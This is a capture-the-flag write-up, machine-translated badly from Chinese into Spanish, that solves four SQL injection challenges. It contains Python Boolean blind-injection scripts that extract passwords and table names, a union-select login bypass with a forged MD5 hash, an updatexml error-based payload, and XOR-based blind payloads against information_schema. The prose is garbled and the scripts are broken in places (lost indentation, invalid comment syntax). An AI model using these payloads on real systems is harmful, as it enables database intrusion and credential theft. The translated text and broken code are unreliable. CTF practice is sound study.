[BJDCTF] inyección secundaria
fuzz encontraron los siguientes filtros:
select
or+空格
单引号
等号
Hint.txt acceso directo a los nombres Nombre + columna de la tabla:
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
Las comillas simples pueden ser filtrados \\
para escapar, o + filtro de espacio puede ser utilizado: or/**/
o ^
reemplazados.
1: sitios de prueba ciega de Boole
Porque dado el nombre de la columna, se puede ir directamente a la contraseña explosión ciega de Boole.
guión ancestral de la siguiente manera:
import sys
import requests
url="http://e19af87a-703a-46e3-b222-6e8a40d420f5.node3.buuoj.cn/index.php"
payload="^(ascii(substr((password),%d,1))>%d)#"
p2={"username":"admin\\","password":''} //逃逸,bypass对单引号的过滤
flag=''
for i in range(1,1000):
max=127 #ascii printable range
min=32
while abs(max-min)>1:
mid=(max+min)/2
p2['password']=payload % (i,mid)
response=requests.post(url,data=p2).text
#print(response)
if 'P3rh4ps' in response: //1
min=mid
else:
max=mid
flag=flag+chr(int(max))
print("password is:%s" % flag)
Después de la tala obtener bandera.
[GXYCTF2019] BabySQli
Descripción Asunto:
刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
search.php acceso, a una serie de comentarios:
Sólo letras mayúsculas y folio --Base32
Después de re-Base 64, aparecerá declaración:
Para el nombre de tabla, columna, se inyecta en el carácter. Y de acuerdo con la descripción, pwd Se estima que sólo tome MD5 probado.
Parece punto de inyección en el nombre aquí. Introduzca admin eco pase mal, parece nombre de usuario no puede ir mal
Puede seguir campos de ráfaga: admin' union select 1,2,3#
4 error. Descripción en tres campos.
Al mismo tiempo de entrada, 999' union select 1,'admin',3%23
no se queja, haciendo eco pase mal. Descripción nombre de usuario en el segundo campo.
La naturaleza de la investigación conjunta: sitios de prueba
当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
Por ejemplo, una tabla de este tipo:
Si construye una declaración:
SELECT * FROM `users` WHERE user='0' union select 0,'admin','e00cf25ad42683b3df678c61f42c6bda'#
Se puede reemplazar de forma automática de acuerdo ......
Por lo que habrá una solución de esta cuestión:
Introduzca el nombre de usuario 1' union select 0,'admin','e00cf25ad42683b3df678c61f42c6bda'#
;
introducción de la contraseña admin1
(correspondiente a un valor por encima de la MD5 cadena)
[Geeks Challenge 2019] HardSQL
La inyección error básico, hay varios puntos a observar:
= 1. filtrados, Métodos:like
display 2.flag incompleta (mostrar hasta 32), el método:right()
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23&password=777
[Geeks Challenge 2019] FinalSQL
Esta pregunta es un nombre de usuario y la contraseña del filtro de la mayor parte de la clave, aunque dada la inyección puede ser utilizado. Pero no específica eco.
Apuntará a los cinco botones: ?id=1
, parece ser otra consulta
sugiere
fuzz encontró: 1^1^1
puede realizar, si se filtró, parece es utilizar ^
para construir Boolean Persianas:
sitios de prueba a ciegas de Boole realmente tienen bastante de él divertido ^^
De esta manera, una vez que el sindicato o, y el filtro puede ser considerada como exclusiva o inyección. Es el OR exclusivo utilizando el algoritmo: ............
1^1^1=1
1^0^1=0
1^1=0
0^0=0
1^0=1
guión ancestral:
import sys
import requests
url="http://6d384ed5-71d5-45b1-ae8b-fb9c958753ee.node3.buuoj.cn/search.php?"
payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" #1^1^1=1.1^0^1=0
p2={"id":''}
flag=''
for i in range(1,1000):
max=127 #ascii printable range
min=32
while abs(max-min)>1:
mid=(max+min)/2
p2['id']=payload % (i,mid)
#print (p2)
response=requests.get(url,params=p2).text
#print(response)
if 'Click' in response:
min=mid
else:
max=mid
flag=flag+chr(int(max))
print("your want is:%s" % flag)
1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1 //表名
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))>%d)^1 //列名
1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%s,1))>%d)^1 //查,结果不在这个库……
故技重施:
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1
1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%s,1))>%d)^1
Bastante espectacular:
bandera al final, esta dicotomía se estima para funcionar, si no está muerto: